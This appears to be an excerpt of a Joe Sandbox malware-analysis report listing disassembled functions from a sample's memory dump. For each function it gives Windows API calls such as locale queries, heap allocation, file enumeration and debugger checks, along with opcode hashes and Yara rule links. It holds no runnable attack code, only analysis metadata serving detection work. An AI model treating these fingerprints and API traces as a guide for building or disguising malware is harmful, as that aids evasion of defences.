Function 008D2210 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 008D2251

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 483cc1a01d54cd6b2d19a13fa9091a4d1af9a262e1e418e39b0d9492822d8f1e
Instruction ID: 9745e785637f5e861ecf63ac75e20fc06a58c4ba169b83f8fe9605f8818f6f16
Opcode Fuzzy Hash: 483cc1a01d54cd6b2d19a13fa9091a4d1af9a262e1e418e39b0d9492822d8f1e
Instruction Fuzzy Hash: E5110AB1A042088FDB04DFA8D855BDEBBF0FB48314F008129E515AB3A0D7785904CFA1

Function 008F35B4 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,008F274F,00000001,00000364,00000005,000000FF,?,00000000,?,008EA1F5,00000000,?), ref: 008F35F5

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2d18e320a3e037d4ec7362d8771fc2f7e611b7dbf277516288a40e2b7d31d2aa
Instruction ID: 2f882e39422b5a6d798e1b9b6746f764b24a0f134e5c695619cff0cd9ff51c4a
Opcode Fuzzy Hash: 2d18e320a3e037d4ec7362d8771fc2f7e611b7dbf277516288a40e2b7d31d2aa
Instruction Fuzzy Hash: F7F0B47161462C77DB215B369C06A7B3B99FB95760B158111EA04DA280CA25DE0096A1

Function 008F22B1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,008F4235,?,?,008F4235,00000220,?,?,?), ref: 008F22E3

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9362344236d2dc5ba28be7dc1017be2156c7fa1a21578c506cfadc64d9d447d3
Instruction ID: 4f8c8e8fcb004b8f70d549e99e8a18831c2e36a7a34adb10c1af4bd7e32dc4f8
Opcode Fuzzy Hash: 9362344236d2dc5ba28be7dc1017be2156c7fa1a21578c506cfadc64d9d447d3
Instruction Fuzzy Hash: E8E0653120566957D631667ADC04BBBBA98FF52BA0F154260EE08DA194DB70DC40A1A5

Function 008DF670 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 008DF691

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: cdde18223a1e90146b3c97c2c3576dd0b5a30d009f30252c9ba3eb8055207e1e
Instruction ID: 4f271448fec54a85e99348ab749bfb4af462a76df8f4987ef76326715c8f8ec1
Opcode Fuzzy Hash: cdde18223a1e90146b3c97c2c3576dd0b5a30d009f30252c9ba3eb8055207e1e
Instruction Fuzzy Hash: CEF0D474D00208EFCB44EFA8D5514ADBBB0FF48300F1041AAE95AA7362DA359E00DB52

Function 008D8E40 Relevance: 1.5, APIs: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 008D8E61

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 8bc8796ff607e2b3fcee7b2055c2af5f131eea53085cca69e67cfb3a77cd47bb
Instruction ID: 043cb3d3305e690e760e49d599f6d92c73fef0bb623fde58134cfeb8bb06cf0c
Opcode Fuzzy Hash: 8bc8796ff607e2b3fcee7b2055c2af5f131eea53085cca69e67cfb3a77cd47bb
Instruction Fuzzy Hash: F3F09874D04209DFCB04EFA8D5554ADBBB5FF48310F1045AAE81AA7351DB35AE40DF52

Non-executed Functions

Function 008FDFE2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 008FE1F9

Strings

1#SNAN, xrefs: 008FE0EE
1#IND, xrefs: 008FE0E7
1#QNAN, xrefs: 008FE0F5
1#INF, xrefs: 008FE118

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 91c9fed6a4a0f875b91f63347d46cbb8beb4ba38e1246e0fa488002c8b8643fd
Instruction ID: 19d9df4dd03f689eda216f728394e4edb93fbdb3a6e39488cc1e19900b458bc1
Opcode Fuzzy Hash: 91c9fed6a4a0f875b91f63347d46cbb8beb4ba38e1246e0fa488002c8b8643fd
Instruction Fuzzy Hash: D9D21571E0862D8BDB65CE28DC407EAB7B5FB95304F1441EAD60DE7241EB78AE818F41

Function 008F7CC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,008F767D,00000002,00000000,?,?,?,008F767D,?,00000000), ref: 008F7D60
GetLocaleInfoW.KERNEL32(?,20001004,008F767D,00000002,00000000,?,?,?,008F767D,?,00000000), ref: 008F7D89
GetACP.KERNEL32(?,?,008F767D,?,00000000), ref: 008F7D9E

Strings

OCP, xrefs: 008F7D1B
ACP, xrefs: 008F7CE5

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e3cb25d656318ec04265f9e54991718feaaee2e6e08071ecb8064066a69f8fcd
Instruction ID: f60d1c036fe27156c99fcb1b9cbb81c4b8c0ccd20942eff2f6a14fc90b09ef16
Opcode Fuzzy Hash: e3cb25d656318ec04265f9e54991718feaaee2e6e08071ecb8064066a69f8fcd
Instruction Fuzzy Hash: 3D21AF2270810CAAFB35AF34C900BF772A6FF54B64BA68464EB0ADB118E732DD41C350

Function 008F7547 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 008F764F
IsValidCodePage.KERNEL32(00000000), ref: 008F768D
IsValidLocale.KERNEL32(?,00000001), ref: 008F76A0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 008F76E8
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 008F7703

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: acb1a88a2fb1efc91faadfb8bd3462448370029cc67743135f958759dea4882d
Instruction ID: 9fc95618b77602f56447edb327b7e19945c3478dd9e61c85693761ea1b1b8c10
Opcode Fuzzy Hash: acb1a88a2fb1efc91faadfb8bd3462448370029cc67743135f958759dea4882d
Instruction Fuzzy Hash: 89516D71A1860EABEB10EFB8CC41ABE77B9FF08700F144469EA11E7190E7709940CB61

Function 008F0060 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction ID: 38ead3bf0c793a5766b2d424b74e58003b9a20902cd209e602855e4878a231ca
Opcode Fuzzy Hash: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction Fuzzy Hash: 96020871E0121D9FDF14CFA9C9806AEBBB1FF48314F248269EA19E7341D731A9458F94

Function 008F82A9 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 008F8399
FindNextFileW.KERNEL32(00000000,?), ref: 008F848D
FindClose.KERNEL32(00000000), ref: 008F84CC
FindClose.KERNEL32(00000000), ref: 008F84FF

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 73bddaa99bc5fe680ad16408b5f78a602522958088dbf60e4ca9d818717365b8
Instruction ID: a0cb1e0483489a36c987c7509b08c4f0d7b9d028dd6e0373d3980cb731a8dc91
Opcode Fuzzy Hash: 73bddaa99bc5fe680ad16408b5f78a602522958088dbf60e4ca9d818717365b8
Instruction Fuzzy Hash: 4271D07190516DAFDF20AF388C89ABEBBB9FB05300F1441D9E648E7251EE308E859F15

Function 008E64BF Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 008E64CB
IsDebuggerPresent.KERNEL32 ref: 008E6597
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008E65B0
UnhandledExceptionFilter.KERNEL32(?), ref: 008E65BA

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5a7c798374b5f5bb862214f81af46d990560b2bf7651cc1dcd777cb521dba4fd
Instruction ID: edb5004e1597e41c7a53bbe4ef244a9962c963aedf8bd91a99a7fdb48ae2fd30
Opcode Fuzzy Hash: 5a7c798374b5f5bb862214f81af46d990560b2bf7651cc1dcd777cb521dba4fd
Instruction Fuzzy Hash: F4310875D0521C9ADF20DFA5D9497CDBBB8FF08304F1081DAE50CAA250EB719A84DF45

Function 008F7840 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008F7894
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008F78DE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008F79A4

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: a30523404ab6edcb411ebce486a1edc30e92bbcf1ec55d8767e495cb829d8128
Instruction ID: 29f43d8bc0a2238247ed263ac5ccc96e3f0740d7727db4b5e96e7f4aa108b677
Opcode Fuzzy Hash: a30523404ab6edcb411ebce486a1edc30e92bbcf1ec55d8767e495cb829d8128
Instruction Fuzzy Hash: 9461917165811B9BEB29DF38CD82BBA77A8FF04310F1041B9EE05C6185E778DA52DB50

Function 008EE600 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 008EE6F8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 008EE702
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 008EE70F

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 842957b8704f61bbe6309715d140c72830399de03fed965efb5271e1808d604f
Instruction ID: ffc2679a1f112c1e3305a5ddbbba97b9c21a93dafa530a0a7ee76f2e5da61cf4
Opcode Fuzzy Hash: 842957b8704f61bbe6309715d140c72830399de03fed965efb5271e1808d604f
Instruction Fuzzy Hash: C531B27491122DABCB21DF69D8897CDBBB8FF18310F5081EAE51CA6291E7709B81CF45

Function 008E6AB4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,008E5D8B,?,?,?,?,?,008DB45E), ref: 008E6AEC
GetSystemTimeAsFileTime.KERNEL32(?,A44455A3,?,?,00902EAC,000000FF,?,008E6994,?,00000000,00000000,?,008E69B8,?,?), ref: 008E6AF0

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: ce87f9208fa2f513d087c328df0528ef2a530302acb7cc20410c04f18a72227b
Instruction ID: afacf59d9a7032de15e00674d30261a3c6f7edaaacf828fff1042d1507d2fd7c
Opcode Fuzzy Hash: ce87f9208fa2f513d087c328df0528ef2a530302acb7cc20410c04f18a72227b
Instruction Fuzzy Hash: 30F03036E58668AFC7128F55DC45B9ABBA8F749B54F008226E91293690DB746900DA80

Function 008FB59E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,008FB4F9,?,?,00000008,?,?,0090292E,00000000), ref: 008FB7CB

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: db5caa5f80446d5dfd86ea40dd63511cef044542847243f13b23fc4d1b4a94ec
Instruction ID: 1e3e4b64ee5f456709ef2c404b3c864dbd669567ea3d4f49c49499e2fc18fcfa
Opcode Fuzzy Hash: db5caa5f80446d5dfd86ea40dd63511cef044542847243f13b23fc4d1b4a94ec
Instruction Fuzzy Hash: EDB14E3562060DDFD719CF28C48AB657BE0FF453A4F298658EA99CF2A1C335E991CB40

Function 008E6127 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008E613D

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: cd78bddbe6ea9296235acf365bbe0ad81430927e5352de65d8805725bf4e308e
Instruction ID: 1c5216e3e849ace34ff318517772107968add9d9c32142e44c15adb4851ae5f6
Opcode Fuzzy Hash: cd78bddbe6ea9296235acf365bbe0ad81430927e5352de65d8805725bf4e308e
Instruction Fuzzy Hash: 39A18CB6F292098BDB18CF55EC826AEBBB1FB59324F14C16ED421E7390D3349944DB50

Function 008F7B00 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008F7B54

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d6dd459a7fa7a97fb4e65df211ff4345ecf4a680b27c31a311812fda397f0da3
Instruction ID: fb4a3ffab5de80da3f5ddbdeefa69bce771410186c066aa76d30f2a94d54aef6
Opcode Fuzzy Hash: d6dd459a7fa7a97fb4e65df211ff4345ecf4a680b27c31a311812fda397f0da3
Instruction Fuzzy Hash: F0218332A1810AABEB289B39DC41EBA73ACFF05324B1040BAFF01D6141EA74DD408751

Function 008EA982 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 008EAB06

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
